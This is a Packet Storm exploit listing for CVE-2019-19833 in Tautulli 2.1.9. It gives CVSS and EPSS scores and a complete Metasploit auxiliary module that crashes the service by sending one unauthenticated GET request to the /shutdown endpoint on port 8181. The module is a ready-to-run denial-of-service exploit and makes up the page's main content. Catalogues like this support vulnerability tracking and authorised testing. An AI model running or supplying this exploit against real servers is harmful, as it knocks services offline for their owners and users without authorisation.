Lucene search

K
packetstormIsmail Tasdelen, metasploit.comPACKETSTORM:180535
HistoryAug 31, 2024 - 12:00 a.m.

Tautulli 2.1.9 Shutdown Denial of Service

2024-08-3100:00:00
Ismail Tasdelen, metasploit.com
packetstormsecurity.com
16
tautulli
denial of service
remote execution

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:N/A:P

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

AI Score

7

Confidence

Low

EPSS

0.971

Percentile

99.8%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize  
super(  
'Name' => 'Tautulli v2.1.9 - Shutdown Denial of Service',  
'Description' => 'Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.',  
'Author' => 'Ismail Tasdelen',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2019-19833'],  
['EDB', '47785']  
]  
)  
register_options([ Opt::RPORT(8181) ])  
end  
  
def run  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/shutdown'  
})  
  
if res  
print_status("Request sent to #{rhost}")  
else  
print_status("No reply from #{rhost}")  
end  
rescue Errno::ECONNRESET  
print_status('Connection reset')  
end  
end  
`

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:N/A:P

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

AI Score

7

Confidence

Low

EPSS

0.971

Percentile

99.8%